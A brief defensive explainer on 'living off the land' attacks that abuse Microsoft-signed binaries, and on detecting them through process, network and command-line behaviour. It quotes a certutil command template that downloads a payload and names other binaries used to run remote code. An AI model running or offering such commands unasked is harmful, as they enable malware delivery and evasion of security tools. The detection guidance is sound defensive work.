"Living off the land" means using what's already on the box. Instead of dropping a custom tool (which AV might catch), attackers abuse trusted, Microsoft-signed binaries - LOLBins - to download payloads, execute code and move laterally.
Classic examples
certutil.exe -urlcache -split -f <url> payload.exe- a certificate utility used as a downloader.mshta.exe/regsvr32.exe/rundll32.exe- execute remote or scriptlet code.bitsadmin- transfer files in the background.
Because these binaries are signed by Microsoft, signature-based allow-lists wave them through. That's the whole point.
Detect on behavior, not the file
The file is trusted - the behavior isn't. Alert on:
- Unusual child processes -
winword.exeorw3wp.exespawningcmd/powershell. - Trusted binaries making network connections - certutil or mshta reaching the internet.
- Suspicious command-line arguments -
-urlcache,-decode, script URLs, encoded blobs.
Where to look
Sysmon process creation (Event ID 1) with command lines, plus network events (Event ID 3), give you the raw material. The LOLBAS project catalogs known abusable binaries and the exact command lines to watch for - a great source for detection ideas.